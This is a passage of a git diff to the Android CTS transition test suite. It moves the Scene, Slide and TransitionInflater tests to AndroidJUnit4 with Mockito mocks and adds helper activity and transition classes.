+        });
+        mTransition.setPropagation(propagation);
+
+        enterScene(R.layout.scene10);
+
+        // The red square is on the upper-left
+        long redDelay = getDelay(R.id.redSquare);
+
+        // The green square is on the upper-right
+        long greenDelay = getDelay(R.id.greenSquare);
+
+        // The blue square is on the lower-right
+        long blueDelay = getDelay(R.id.blueSquare);
+
+        // The yellow square is on the lower-left
+        long yellowDelay = getDelay(R.id.yellowSquare);
+
+        assertTrue(greenDelay > redDelay);
+        assertTrue(greenDelay > blueDelay);
+        assertTrue(redDelay > yellowDelay);
+        assertTrue(blueDelay > yellowDelay);
+    }
+
+    private TransitionValues capturePropagationValues(int viewId) {
+        TransitionValues transitionValues = new TransitionValues();
+        transitionValues.view = mSceneRoot.findViewById(viewId);
+        mTransition.getPropagation().captureValues(transitionValues);
+        return transitionValues;
+    }
+
+    private long getDelay(int viewId) {
+        TransitionValues transitionValues = capturePropagationValues(viewId);
+        return mTransition.getPropagation().
+                getStartDelay(mSceneRoot, mTransition, transitionValues, null);
+    }
+}
diff --git a/tests/tests/transition/src/android/transition/cts/SceneTest.java b/tests/tests/transition/src/android/transition/cts/SceneTest.java
index 2785714..8c06f51 100644
--- a/tests/tests/transition/src/android/transition/cts/SceneTest.java
+++ b/tests/tests/transition/src/android/transition/cts/SceneTest.java
@@ -15,96 +15,104 @@
  */
 package android.transition.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.mockito.Mockito.doAnswer;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.times;
+import static org.mockito.Mockito.verify;
+import static org.mockito.Mockito.verifyZeroInteractions;
+
+import android.support.test.filters.MediumTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.transition.Scene;
 import android.view.View;
+import android.view.ViewGroup;
 
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.mockito.invocation.InvocationOnMock;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
 public class SceneTest extends BaseTransitionTest {
-
-    public SceneTest() {
-    }
-
+    /**
+     * Test Scene(ViewGroup) with enterAction and exitAction
+     */
+    @Test
     public void testDynamicConstructor() throws Throwable {
         Scene scene = new Scene(mSceneRoot);
         assertEquals(mSceneRoot, scene.getSceneRoot());
-        CallCheck enterCheck = new CallCheck() {
-            @Override
-            public void run() {
-                super.run();
-                mActivity.getLayoutInflater().inflate(R.layout.scene1, mSceneRoot, true);
-            }
-        };
+        Runnable enterCheck = mock(Runnable.class);
+        doAnswer((InvocationOnMock invocation) -> mActivity.getLayoutInflater().inflate(
+                R.layout.scene1, mSceneRoot, true)).when(enterCheck).run();
         scene.setEnterAction(enterCheck);
-        CallCheck exitCheck = new CallCheck();
+        Runnable exitCheck = mock(Runnable.class);
         scene.setExitAction(exitCheck);
         enterScene(scene);
 
-        assertTrue(enterCheck.wasRun);
-        assertFalse(exitCheck.wasRun);
+        verify(enterCheck, times(1)).run();
+        verifyZeroInteractions(exitCheck);
 
         View redSquare = mActivity.findViewById(R.id.redSquare);
         assertNotNull(redSquare);
 
         exitScene(scene);
         assertNotNull(mSceneRoot.findViewById(R.id.redSquare));
-        assertTrue(exitCheck.wasRun);
+        verify(exitCheck, times(1)).run();
 
         enterScene(R.layout.scene4);
         assertNull(mSceneRoot.findViewById(R.id.redSquare));
     }
 
+    /**
+     * Test Scene(ViewGroup, View)
+     */
+    @Test
     public void testViewConstructor() throws Throwable {
         View view = loadLayout(R.layout.scene1);
-        Scene scene = new Scene(mSceneRoot, view);
-        assertEquals(mSceneRoot, scene.getSceneRoot());
-        CallCheck enterCheck = new CallCheck();
-        scene.setEnterAction(enterCheck);
-        CallCheck exitCheck = new CallCheck();
-        scene.setExitAction(exitCheck);
-        enterScene(scene);
-
-        assertTrue(enterCheck.wasRun);
-        assertFalse(exitCheck.wasRun);
-
-        View redSquare = mActivity.findViewById(R.id.redSquare);
-        assertNotNull(redSquare);
-
-        exitScene(scene);
-        assertNotNull(mSceneRoot.findViewById(R.id.redSquare));
-        assertTrue(exitCheck.wasRun);
-
-        enterScene(R.layout.scene4);
-        assertNull(mSceneRoot.findViewById(R.id.redSquare));
+        constructorTest(new Scene(mSceneRoot, view));
     }
 
+    /**
+     * Test Scene(ViewGroup, ViewGroup)
+     */
+    @Test
+    public void testDeprecatedConstructor() throws Throwable {
+        View view = loadLayout(R.layout.scene1);
+        constructorTest(new Scene(mSceneRoot, (ViewGroup) view));
+    }
+
+    /**
+     * Test Scene.getSceneForLayout
+     */
+    @Test
     public void testFactory() throws Throwable {
         Scene scene = loadScene(R.layout.scene1);
+        constructorTest(scene);
+    }
+
+    /**
+     * Tests that the Scene was constructed properly from a scene1
+     */
+    private void constructorTest(Scene scene) throws Throwable {
         assertEquals(mSceneRoot, scene.getSceneRoot());
-        CallCheck enterCheck = new CallCheck();
+        Runnable enterCheck = mock(Runnable.class);
         scene.setEnterAction(enterCheck);
-        CallCheck exitCheck = new CallCheck();
+        Runnable exitCheck = mock(Runnable.class);
         scene.setExitAction(exitCheck);
         enterScene(scene);
 
-        assertTrue(enterCheck.wasRun);
-        assertFalse(exitCheck.wasRun);
+        verify(enterCheck, times(1)).run();
+        verifyZeroInteractions(exitCheck);
 
         View redSquare = mActivity.findViewById(R.id.redSquare);
         assertNotNull(redSquare);
 
         exitScene(scene);
         assertNotNull(mSceneRoot.findViewById(R.id.redSquare));
-        assertTrue(exitCheck.wasRun);
-        enterScene(R.layout.scene4);
-        assertNull(mSceneRoot.findViewById(R.id.redSquare));
-    }
-
-    private static class CallCheck implements Runnable {
-        public boolean wasRun;
-
-        @Override
-        public void run() {
-            wasRun = true;
-        }
+        verify(exitCheck, times(1)).run();
     }
 }
 
diff --git a/tests/tests/transition/src/android/transition/cts/SimpleTransitionListener.java b/tests/tests/transition/src/android/transition/cts/SimpleTransitionListener.java
deleted file mode 100644
index fb8596a..0000000
--- a/tests/tests/transition/src/android/transition/cts/SimpleTransitionListener.java
+++ /dev/null
@@ -1,60 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.transition.cts;
-
-import android.transition.Transition;
-import android.transition.Transition.TransitionListener;
-
-import java.util.concurrent.CountDownLatch;
-
-/**
- * Listener captures whether each of the methods is called.
- */
-class SimpleTransitionListener implements TransitionListener {
-    public Transition transition;
-
-    public CountDownLatch startLatch = new CountDownLatch(1);
-    public CountDownLatch endLatch = new CountDownLatch(1);
-    public CountDownLatch cancelLatch = new CountDownLatch(1);
-    public CountDownLatch pauseLatch = new CountDownLatch(1);
-    public CountDownLatch resumeLatch = new CountDownLatch(1);
-
-    @Override
-    public void onTransitionStart(Transition transition) {
-        this.transition = transition;
-        startLatch.countDown();
-    }
-
-    @Override
-    public void onTransitionEnd(Transition transition) {
-        endLatch.countDown();
-    }
-
-    @Override
-    public void onTransitionCancel(Transition transition) {
-        cancelLatch.countDown();
-    }
-
-    @Override
-    public void onTransitionPause(Transition transition) {
-        pauseLatch.countDown();
-    }
-
-    @Override
-    public void onTransitionResume(Transition transition) {
-        resumeLatch.countDown();
-    }
-}
diff --git a/tests/tests/transition/src/android/transition/cts/SlideBadEdgeTest.java b/tests/tests/transition/src/android/transition/cts/SlideBadEdgeTest.java
index fefa353..e0ce0cc 100644
--- a/tests/tests/transition/src/android/transition/cts/SlideBadEdgeTest.java
+++ b/tests/tests/transition/src/android/transition/cts/SlideBadEdgeTest.java
@@ -15,15 +15,20 @@
  */
 package android.transition.cts;
 
-import android.test.suitebuilder.annotation.SmallTest;
+import static org.junit.Assert.fail;
+
+import android.support.test.filters.MediumTest;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.transition.Slide;
 import android.view.Gravity;
 
-import junit.framework.TestCase;
-
 import org.junit.Test;
+import org.junit.runner.RunWith;
 
-public class SlideBadEdgeTest extends TestCase {
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class SlideBadEdgeTest {
 
     private static final Object[][] sBadGravity = {
             { Gravity.AXIS_CLIP, "AXIS_CLIP" },
@@ -50,12 +55,13 @@
     };
 
     @SmallTest
+    @Test
     public void testBadSide() {
         for (int i = 0; i < sBadGravity.length; i++) {
             int badEdge = (Integer) sBadGravity[i][0];
             String edgeName = (String) sBadGravity[i][1];
             try {
-                Slide slide = new Slide(badEdge);
+                new Slide(badEdge);
                 fail("Should not be able to set slide edge to " + edgeName);
             } catch (IllegalArgumentException e) {
                 // expected
diff --git a/tests/tests/transition/src/android/transition/cts/SlideDefaultEdgeTest.java b/tests/tests/transition/src/android/transition/cts/SlideDefaultEdgeTest.java
index 060b4cc..3de780c 100644
--- a/tests/tests/transition/src/android/transition/cts/SlideDefaultEdgeTest.java
+++ b/tests/tests/transition/src/android/transition/cts/SlideDefaultEdgeTest.java
@@ -15,26 +15,20 @@
  */
 package android.transition.cts;
 
-import android.support.test.rule.ActivityTestRule;
-import android.test.suitebuilder.annotation.SmallTest;
-import android.transition.Slide;
-import android.transition.TransitionManager;
-import android.view.Gravity;
-import android.view.View;
+import static org.junit.Assert.assertEquals;
 
-import org.junit.Rule;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.transition.Slide;
+import android.view.Gravity;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
-import org.junit.runners.Parameterized;
 
-import java.util.Arrays;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.fail;
-
+@SmallTest
+@RunWith(AndroidJUnit4.class)
 public class SlideDefaultEdgeTest {
     @Test
-    @SmallTest
     public void testDefaultSide() {
         // default to bottom
         Slide slide = new Slide();
diff --git a/tests/tests/transition/src/android/transition/cts/SlideEdgeTest.java b/tests/tests/transition/src/android/transition/cts/SlideEdgeTest.java
index 01225dc..b4bf800 100644
--- a/tests/tests/transition/src/android/transition/cts/SlideEdgeTest.java
+++ b/tests/tests/transition/src/android/transition/cts/SlideEdgeTest.java
@@ -15,22 +15,30 @@
  */
 package android.transition.cts;
 
-import android.app.Activity;
-import android.app.Instrumentation;
-import android.test.ActivityInstrumentationTestCase2;
-import android.test.suitebuilder.annotation.MediumTest;
+import static com.android.compatibility.common.util.CtsMockitoUtils.within;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+import static org.mockito.Matchers.any;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.never;
+import static org.mockito.Mockito.verify;
+
+import android.support.test.filters.MediumTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.transition.Slide;
+import android.transition.Transition;
 import android.transition.TransitionManager;
 import android.view.Gravity;
 import android.view.View;
 import android.view.ViewGroup;
 
 import org.junit.Test;
-
-import java.util.concurrent.TimeUnit;
+import org.junit.runner.RunWith;
 
 @MediumTest
-public class SlideEdgeTest extends ActivityInstrumentationTestCase2<TransitionActivity>  {
+@RunWith(AndroidJUnit4.class)
+public class SlideEdgeTest extends BaseTransitionTest  {
     private static final Object[][] sSlideEdgeArray = {
             { Gravity.START, "START" },
             { Gravity.END, "END" },
@@ -40,10 +48,7 @@
             { Gravity.BOTTOM, "BOTTOM" },
     };
 
-    public SlideEdgeTest() {
-        super(TransitionActivity.class);
-    }
-
+    @Test
     public void testSetSide() throws Throwable {
         for (int i = 0; i < sSlideEdgeArray.length; i++) {
             int slideEdge = (Integer) (sSlideEdgeArray[i][0]);
@@ -59,39 +64,31 @@
         }
     }
 
+    @Test
     public void testSlideOut() throws Throwable {
         for (int i = 0; i < sSlideEdgeArray.length; i++) {
             final int slideEdge = (Integer) (sSlideEdgeArray[i][0]);
             final Slide slide = new Slide(slideEdge);
-            final SimpleTransitionListener listener = new SimpleTransitionListener();
+            final Transition.TransitionListener listener =
+                    mock(Transition.TransitionListener.class);
             slide.addListener(listener);
 
-            final Instrumentation instrumentation = getInstrumentation();
-            final Activity activity = getActivity();
-            instrumentation.runOnMainSync(new Runnable() {
-                @Override
-                public void run() {
-                    activity.setContentView(R.layout.scene1);
-                }
-            });
-            instrumentation.waitForIdleSync();
+            mActivityRule.runOnUiThread(() -> mActivity.setContentView(R.layout.scene1));
+            mInstrumentation.waitForIdleSync();
 
-            final View redSquare = activity.findViewById(R.id.redSquare);
-            final View greenSquare = activity.findViewById(R.id.greenSquare);
-            final View hello = activity.findViewById(R.id.hello);
-            final ViewGroup sceneRoot = (ViewGroup) activity.findViewById(R.id.holder);
+            final View redSquare = mActivity.findViewById(R.id.redSquare);
+            final View greenSquare = mActivity.findViewById(R.id.greenSquare);
+            final View hello = mActivity.findViewById(R.id.hello);
+            final ViewGroup sceneRoot = (ViewGroup) mActivity.findViewById(R.id.holder);
 
-            instrumentation.runOnMainSync(new Runnable() {
-                @Override
-                public void run() {
-                    TransitionManager.beginDelayedTransition(sceneRoot, slide);
-                    redSquare.setVisibility(View.INVISIBLE);
-                    greenSquare.setVisibility(View.INVISIBLE);
-                    hello.setVisibility(View.INVISIBLE);
-                }
+            mActivityRule.runOnUiThread(() -> {
+                TransitionManager.beginDelayedTransition(sceneRoot, slide);
+                redSquare.setVisibility(View.INVISIBLE);
+                greenSquare.setVisibility(View.INVISIBLE);
+                hello.setVisibility(View.INVISIBLE);
             });
-            assertTrue(listener.startLatch.await(1, TimeUnit.SECONDS));
-            assertEquals(1, listener.endLatch.getCount());
+            verify(listener, within(1000)).onTransitionStart(any());
+            verify(listener, never()).onTransitionEnd(any());
             assertEquals(View.VISIBLE, redSquare.getVisibility());
             assertEquals(View.VISIBLE, greenSquare.getVisibility());
             assertEquals(View.VISIBLE, hello.getVisibility());
@@ -100,9 +97,9 @@
             float redStartY = redSquare.getTranslationY();
 
             Thread.sleep(200);
-            assertTranslation(slideEdge, redSquare);
-            assertTranslation(slideEdge, greenSquare);
-            assertTranslation(slideEdge, hello);
+            verifyTranslation(slideEdge, redSquare);
+            verifyTranslation(slideEdge, greenSquare);
+            verifyTranslation(slideEdge, hello);
 
             final float redMidX = redSquare.getTranslationX();
             final float redMidY = redSquare.getTranslationY();
@@ -130,64 +127,52 @@
                             redStartY < redSquare.getTranslationY());
                     break;
             }
-            assertTrue(listener.endLatch.await(1, TimeUnit.SECONDS));
-            instrumentation.waitForIdleSync();
+            verify(listener, within(1000)).onTransitionEnd(any());
+            mInstrumentation.waitForIdleSync();
 
-            assertNoTranslation(redSquare);
-            assertNoTranslation(greenSquare);
-            assertNoTranslation(hello);
+            verifyNoTranslation(redSquare);
+            verifyNoTranslation(greenSquare);
+            verifyNoTranslation(hello);
             assertEquals(View.INVISIBLE, redSquare.getVisibility());
             assertEquals(View.INVISIBLE, greenSquare.getVisibility());
             assertEquals(View.INVISIBLE, hello.getVisibility());
         }
     }
 
+    @Test
     public void testSlideIn() throws Throwable {
         for (int i = 0; i < sSlideEdgeArray.length; i++) {
             final int slideEdge = (Integer) (sSlideEdgeArray[i][0]);
             final Slide slide = new Slide(slideEdge);
-            final SimpleTransitionListener listener = new SimpleTransitionListener();
+            final Transition.TransitionListener listener =
+                    mock(Transition.TransitionListener.class);
             slide.addListener(listener);
 
-            final Instrumentation instrumentation = getInstrumentation();
-            final Activity activity = getActivity();
+            mActivityRule.runOnUiThread(() -> mActivity.setContentView(R.layout.scene1));
+            mInstrumentation.waitForIdleSync();
 
-            instrumentation.runOnMainSync(new Runnable() {
-                @Override
-                public void run() {
-                    activity.setContentView(R.layout.scene1);
-                }
+            final View redSquare = mActivity.findViewById(R.id.redSquare);
+            final View greenSquare = mActivity.findViewById(R.id.greenSquare);
+            final View hello = mActivity.findViewById(R.id.hello);
+            final ViewGroup sceneRoot = (ViewGroup) mActivity.findViewById(R.id.holder);
+
+            mActivityRule.runOnUiThread(() -> {
+                redSquare.setVisibility(View.INVISIBLE);
+                greenSquare.setVisibility(View.INVISIBLE);
+                hello.setVisibility(View.INVISIBLE);
             });
-            instrumentation.waitForIdleSync();
-
-            final View redSquare = activity.findViewById(R.id.redSquare);
-            final View greenSquare = activity.findViewById(R.id.greenSquare);
-            final View hello = activity.findViewById(R.id.hello);
-            final ViewGroup sceneRoot = (ViewGroup) activity.findViewById(R.id.holder);
-
-            instrumentation.runOnMainSync(new Runnable() {
-                @Override
-                public void run() {
-                    redSquare.setVisibility(View.INVISIBLE);
-                    greenSquare.setVisibility(View.INVISIBLE);
-                    hello.setVisibility(View.INVISIBLE);
-                }
-            });
-            instrumentation.waitForIdleSync();
+            mInstrumentation.waitForIdleSync();
 
             // now slide in
-            instrumentation.runOnMainSync(new Runnable() {
-                @Override
-                public void run() {
-                    TransitionManager.beginDelayedTransition(sceneRoot, slide);
-                    redSquare.setVisibility(View.VISIBLE);
-                    greenSquare.setVisibility(View.VISIBLE);
-                    hello.setVisibility(View.VISIBLE);
-                }
+            mActivityRule.runOnUiThread(() -> {
+                TransitionManager.beginDelayedTransition(sceneRoot, slide);
+                redSquare.setVisibility(View.VISIBLE);
+                greenSquare.setVisibility(View.VISIBLE);
+                hello.setVisibility(View.VISIBLE);
             });
-            assertTrue(listener.startLatch.await(1, TimeUnit.SECONDS));
+            verify(listener, within(1000)).onTransitionStart(any());
 
-            assertEquals(1, listener.endLatch.getCount());
+            verify(listener, never()).onTransitionEnd(any());
             assertEquals(View.VISIBLE, redSquare.getVisibility());
             assertEquals(View.VISIBLE, greenSquare.getVisibility());
             assertEquals(View.VISIBLE, hello.getVisibility());
@@ -196,9 +181,9 @@
             final float redStartY = redSquare.getTranslationY();
 
             Thread.sleep(200);
-            assertTranslation(slideEdge, redSquare);
-            assertTranslation(slideEdge, greenSquare);
-            assertTranslation(slideEdge, hello);
+            verifyTranslation(slideEdge, redSquare);
+            verifyTranslation(slideEdge, greenSquare);
+            verifyTranslation(slideEdge, hello);
             final float redMidX = redSquare.getTranslationX();
             final float redMidY = redSquare.getTranslationY();
 
@@ -226,19 +211,19 @@
                             redStartY > redSquare.getTranslationY());
                     break;
             }
-            assertTrue(listener.endLatch.await(1, TimeUnit.SECONDS));
-            instrumentation.waitForIdleSync();
+            verify(listener, within(1000)).onTransitionEnd(any());
+            mInstrumentation.waitForIdleSync();
 
-            assertNoTranslation(redSquare);
-            assertNoTranslation(greenSquare);
-            assertNoTranslation(hello);
+            verifyNoTranslation(redSquare);
+            verifyNoTranslation(greenSquare);
+            verifyNoTranslation(hello);
             assertEquals(View.VISIBLE, redSquare.getVisibility());
             assertEquals(View.VISIBLE, greenSquare.getVisibility());
             assertEquals(View.VISIBLE, hello.getVisibility());
         }
     }
 
-    private void assertTranslation(int slideEdge, View view) {
+    private void verifyTranslation(int slideEdge, View view) {
         switch (slideEdge) {
             case Gravity.LEFT:
             case Gravity.START:
@@ -261,7 +246,7 @@
         }
     }
 
-    private void assertNoTranslation(View view) {
+    private void verifyNoTranslation(View view) {
         assertEquals(0f, view.getTranslationX(), 0.01f);
         assertEquals(0f, view.getTranslationY(), 0.01f);
     }
diff --git a/tests/tests/transition/src/android/transition/cts/TargetActivity.java b/tests/tests/transition/src/android/transition/cts/TargetActivity.java
new file mode 100644
index 0000000..a710ca0
--- /dev/null
+++ b/tests/tests/transition/src/android/transition/cts/TargetActivity.java
@@ -0,0 +1,104 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.transition.cts;
+
+import static org.mockito.Mockito.mock;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+import android.transition.Transition;
+import android.transition.Transition.TransitionListener;
+import android.transition.TransitionListenerAdapter;
+import android.view.View;
+
+import com.android.compatibility.common.util.transition.TrackingTransition;
+import com.android.compatibility.common.util.transition.TrackingVisibility;
+
+import java.util.concurrent.CountDownLatch;
+
+public class TargetActivity extends Activity {
+    public static final String EXTRA_LAYOUT_ID = "layoutId";
+    public static final String EXTRA_USE_ANIMATOR = "useAnimator";
+    public static final String EXTRA_EXCLUDE_ID = "excludeId";
+
+    public TrackingVisibility enterTransition = new TrackingVisibility();
+    public TrackingVisibility returnTransition = new TrackingVisibility();
+    final TrackingTransition sharedElementEnterTransition = new TrackingTransition();
+    final TrackingTransition sharedElementReturnTransition = new TrackingTransition();
+
+    final TransitionListener enterListener = mock(TransitionListener.class);
+    final TransitionListener returnListener = mock(TransitionListener.class);
+
+    public static TargetActivity sLastCreated;
+
+    public int startVisibility = -1;
+    public int endVisibility = -1;
+    public CountDownLatch transitionComplete;
+
+    @Override
+    public void onCreate(Bundle bundle){
+        super.onCreate(bundle);
+        Intent intent = getIntent();
+        int layoutId = R.layout.transition_main;
+        boolean useAnimator = false;
+        int excludeId = 0;
+        if (intent != null) {
+            layoutId = intent.getIntExtra(EXTRA_LAYOUT_ID, layoutId);
+            useAnimator = intent.getBooleanExtra(EXTRA_USE_ANIMATOR, false);
+            excludeId = intent.getIntExtra(EXTRA_EXCLUDE_ID, 0);
+        }
+
+        setContentView(layoutId);
+
+        if (useAnimator) {
+            enterTransition = new TrackingVisibilityWithAnimator();
+            returnTransition = new TrackingVisibilityWithAnimator();
+        }
+
+        if (excludeId != 0) {
+            enterTransition.excludeTarget(excludeId, true);
+            returnTransition.excludeTarget(excludeId, true);
+
+            final View excludedView = findViewById(excludeId);
+            transitionComplete = new CountDownLatch(1);
+
+            TransitionListener excludeVisibilityCheck = new TransitionListenerAdapter() {
+                @Override
+                public void onTransitionStart(Transition transition) {
+                    startVisibility = excludedView.getVisibility();
+                }
+
+                @Override
+                public void onTransitionEnd(Transition transition) {
+                    endVisibility = excludedView.getVisibility();
+                    transitionComplete.countDown();
+                }
+            };
+            enterTransition.addListener(excludeVisibilityCheck);
+            returnTransition.addListener(excludeVisibilityCheck);
+        }
+
+        getWindow().setEnterTransition(enterTransition);
+        getWindow().setReturnTransition(returnTransition);
+        getWindow().setSharedElementEnterTransition(sharedElementEnterTransition);
+        getWindow().setSharedElementReturnTransition(sharedElementReturnTransition);
+        enterTransition.addListener(enterListener);
+        returnTransition.addListener(returnListener);
+
+        sLastCreated = this;
+    }
+}
diff --git a/tests/tests/transition/src/android/transition/cts/TrackingVisibilityWithAnimator.java b/tests/tests/transition/src/android/transition/cts/TrackingVisibilityWithAnimator.java
new file mode 100644
index 0000000..daea2e9
--- /dev/null
+++ b/tests/tests/transition/src/android/transition/cts/TrackingVisibilityWithAnimator.java
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.transition.cts;
+
+import android.animation.Animator;
+import android.animation.ValueAnimator;
+import android.transition.TransitionValues;
+import android.view.View;
+import android.view.ViewGroup;
+
+import com.android.compatibility.common.util.transition.TrackingVisibility;
+
+/**
+ * Extends TrackingVisibility, but returns an animator to ensure that there is a time
+ * difference between starting and ending of the transition.
+ */
+public class TrackingVisibilityWithAnimator extends TrackingVisibility {
+    @Override
+    public Animator onAppear(ViewGroup sceneRoot, View view, TransitionValues startValues,
+            TransitionValues endValues) {
+        super.onAppear(sceneRoot, view, startValues, endValues);
+        return ValueAnimator.ofFloat(0, 1);
+    }
+}
diff --git a/tests/tests/transition/src/android/transition/cts/TransitionActivity.java b/tests/tests/transition/src/android/transition/cts/TransitionActivity.java
index be9bf24..afc48be 100644
--- a/tests/tests/transition/src/android/transition/cts/TransitionActivity.java
+++ b/tests/tests/transition/src/android/transition/cts/TransitionActivity.java
@@ -17,21 +17,7 @@
 package android.transition.cts;
 
 import android.app.Activity;
-import android.content.Context;
-import android.content.Intent;
-import android.graphics.Canvas;
-import android.graphics.Paint;
-import android.graphics.RadialGradient;
-import android.graphics.Shader;
-import android.graphics.drawable.ShapeDrawable;
-import android.graphics.drawable.shapes.OvalShape;
 import android.os.Bundle;
-import android.view.MotionEvent;
-import android.view.View;
-import android.view.ViewGroup;
-import java.util.ArrayList;
-
-import android.transition.cts.R;
 
 public class TransitionActivity extends Activity {
     @Override
diff --git a/tests/tests/transition/src/android/transition/cts/TransitionInflaterTest.java b/tests/tests/transition/src/android/transition/cts/TransitionInflaterTest.java
new file mode 100644
index 0000000..9a7ab94
--- /dev/null
+++ b/tests/tests/transition/src/android/transition/cts/TransitionInflaterTest.java
@@ -0,0 +1,319 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.transition.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.content.Context;
+import android.graphics.Path;
+import android.graphics.PathMeasure;
+import android.support.test.filters.MediumTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.transition.ArcMotion;
+import android.transition.AutoTransition;
+import android.transition.ChangeBounds;
+import android.transition.ChangeClipBounds;
+import android.transition.ChangeImageTransform;
+import android.transition.ChangeScroll;
+import android.transition.ChangeTransform;
+import android.transition.Explode;
+import android.transition.Fade;
+import android.transition.PathMotion;
+import android.transition.PatternPathMotion;
+import android.transition.Scene;
+import android.transition.Slide;
+import android.transition.Transition;
+import android.transition.TransitionInflater;
+import android.transition.TransitionManager;
+import android.transition.TransitionSet;
+import android.transition.TransitionValues;
+import android.transition.Visibility;
+import android.util.AttributeSet;
+import android.view.Gravity;
+import android.widget.ImageView;
+import android.widget.TextView;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.List;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class TransitionInflaterTest extends BaseTransitionTest {
+    @Test
+    public void testInflationConstructors() throws Throwable {
+        TransitionInflater inflater = TransitionInflater.from(mActivity);
+        Transition transition = inflater.inflateTransition(R.transition.transition_constructors);
+        assertTrue(transition instanceof TransitionSet);
+        TransitionSet set = (TransitionSet) transition;
+        assertEquals(10, set.getTransitionCount());
+    }
+
+    @Test
+    public void testInflation() {
+        TransitionInflater inflater = TransitionInflater.from(mActivity);
+        verifyFadeProperties(inflater.inflateTransition(R.transition.fade));
+        verifyChangeBoundsProperties(inflater.inflateTransition(R.transition.change_bounds));
+        verifySlideProperties(inflater.inflateTransition(R.transition.slide));
+        verifyExplodeProperties(inflater.inflateTransition(R.transition.explode));
+        verifyChangeImageTransformProperties(
+                inflater.inflateTransition(R.transition.change_image_transform));
+        verifyChangeTransformProperties(inflater.inflateTransition(R.transition.change_transform));
+        verifyChangeClipBoundsProperties(
+                inflater.inflateTransition(R.transition.change_clip_bounds));
+        verifyAutoTransitionProperties(inflater.inflateTransition(R.transition.auto_transition));
+        verifyChangeScrollProperties(inflater.inflateTransition(R.transition.change_scroll));
+        verifyTransitionSetProperties(inflater.inflateTransition(R.transition.transition_set));
+        verifyCustomTransitionProperties(
+                inflater.inflateTransition(R.transition.custom_transition));
+        verifyTargetIds(inflater.inflateTransition(R.transition.target_ids));
+        verifyTargetNames(inflater.inflateTransition(R.transition.target_names));
+        verifyTargetClass(inflater.inflateTransition(R.transition.target_classes));
+        verifyArcMotion(inflater.inflateTransition(R.transition.arc_motion));
+        verifyCustomPathMotion(inflater.inflateTransition(R.transition.custom_path_motion));
+        verifyPatternPathMotion(inflater.inflateTransition(R.transition.pattern_path_motion));
+    }
+
+    @Test
+    public void testInflateTransitionManager() throws Throwable {
+        TransitionInflater inflater = TransitionInflater.from(mActivity);
+        TransitionManager transitionManager =
+                inflater.inflateTransitionManager(R.transition.transition_manager, mSceneRoot);
+        assertNotNull(transitionManager);
+
+        Scene scene1 = Scene.getSceneForLayout(mSceneRoot, R.layout.scene1, mActivity);
+        Transition transition = transitionManager.getTransition(scene1);
+        assertNotNull(transition);
+        assertTrue(transition instanceof Fade);
+        enterScene(scene1);
+
+        Scene scene2 = Scene.getSceneForLayout(mSceneRoot, R.layout.scene2, mActivity);
+        transition = transitionManager.getTransition(scene2);
+        assertNotNull(transition);
+        assertTrue(transition instanceof ChangeBounds);
+    }
+
+    private void verifyFadeProperties(Transition transition) {
+        assertTrue(transition instanceof Fade);
+        Fade fade = (Fade) transition;
+        assertEquals(Fade.OUT, fade.getMode());
+    }
+
+    private void verifyChangeBoundsProperties(Transition transition) {
+        assertTrue(transition instanceof ChangeBounds);
+        ChangeBounds changeBounds = (ChangeBounds) transition;
+        assertTrue(changeBounds.getResizeClip());
